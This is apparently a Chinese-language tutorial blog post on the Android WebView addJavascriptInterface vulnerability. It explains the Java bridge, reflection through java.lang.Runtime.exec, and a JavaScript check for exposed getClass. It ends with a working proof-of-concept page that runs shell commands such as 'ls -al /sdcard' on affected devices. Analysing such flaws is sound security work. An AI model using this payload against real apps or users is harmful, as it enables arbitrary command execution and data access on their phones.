一.概述
這個漏洞只存在於Android API level 16以及之前的版本,系統沒有限制使用webView.addJavascriptInterface方法,導致攻擊者可以通過使用java 反射API利用該漏洞執行任意java對象的方法,也就是通過addJavascriptInterface給WebView加入一個JavaScript橋接接口,JavaScirpt通過調用這個接口可以直接操作本地的java接口。
要注意的就是安卓的版本低於4.2才行
然后就是要使用webView來加載網頁這樣才能調用js,畢竟是通過js來調用這個java對象方法的
二.漏洞原理
1 webView
這玩意其實就是作為app里面的內置瀏覽器的角色,因為安卓系統的限制,它不允許直接運行系統的瀏覽器,但是又為了
在app中瀏覽網頁,就出了webView這個組件嵌入app中
<?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"> <WebView android:layout_width="match_parent" android:layout_height="match_parent" android:id="@+id/web_view"/> </androidx.constraintlayout.widget.ConstraintLayout>
package com.example.webviewtest; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.webkit.WebView; import android.webkit.WebViewClient; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); WebView webView=(WebView)findViewById(R.id.web_view); webView.getSettings().setJavaScriptEnabled(true); webView.setWebViewClient(new WebViewClient()); webView.loadUrl("http://www.baidu.com"); } }
這里先獲取一個webView的對象,通過getSetting()方法可以給webView對象設置屬性,這里設置了允許執行js腳本
2.漏洞代碼實際情況
class JsObject{ @JavascriptInterface public String toString() { return "injectedObject"; } } webView.addJavascriptInterface(new JSONObject(),"injectObject"); webView.loadData("","text/html",null); webView.loadUrl("javascript:alert(injectObject.toString()");
這里就是通過addJavascriptInterface()方法注冊了一個可供js來調用的java對象,后面的js代碼就可以調用和執行這個java對象的代碼。
3.反射機制
反射真是個好東西,可以執行任意對象的任意方法
Demo demo=new Demo(); Class mObjectClass=demo.getClass(); System.out.println(mObjectClass.getName()); Method[] methods=mObjectClass.getDeclaredMethods(); for(Method method:methods) { System.out.println("method = "+method.getName()); } try { Class c=mObjectClass.forName("java.lang.Runtime"); Method m=c.getDeclaredMethod("getRuntime",null); System.out.println(c.getName()); m.setAccessible(true); Object obj=m.invoke(null, null); Class c2=obj.getClass(); String array="cmd.exe /k start calc"; Method n=c2.getMethod("exec",array.getClass()); //返回名稱exec,參數為array類型的方法 n.invoke(obj, new Object[] {array}); }catch(Exception e) { e.printStackTrace(); }
這波意思是只要有getClass()方法的java對象,那我就可以調用java.lang.Runtime的getRuntime方法返回Runtime后再執行exec方法調用cmd,getshell
4.漏洞檢測
這里就是檢測注冊的java對象中是否有getClass()方法。
js代碼,直接搬的別的師傅的,
function check(){ for(var obj in window){ try{ if("getClass" in window[obj]){ try{ window[obj].getClass(); document.write('<span style="color:red">'+obj+'</span>'); document.write('<br/>'); }catch(e){ } } }finally{ } } } check();
5.漏洞poc
js代碼
<script type="text/javascript"> var i=0; function getContents(inputStream) { var contents = ""+i; var b = inputStream.read(); var i = 1; while(b != -1) { var bString = String.fromCharCode(b); contents += bString; contents += "\n" b = inputStream.read(); } i=i+1; return contents; } function execute(cmdArgs) { for (var obj in window) { console.log(obj); if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } } var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]); document.write(getContents(res.getInputStream())); </script>
參考鏈接
https://blog.csdn.net/u012195899/article/details/68942725
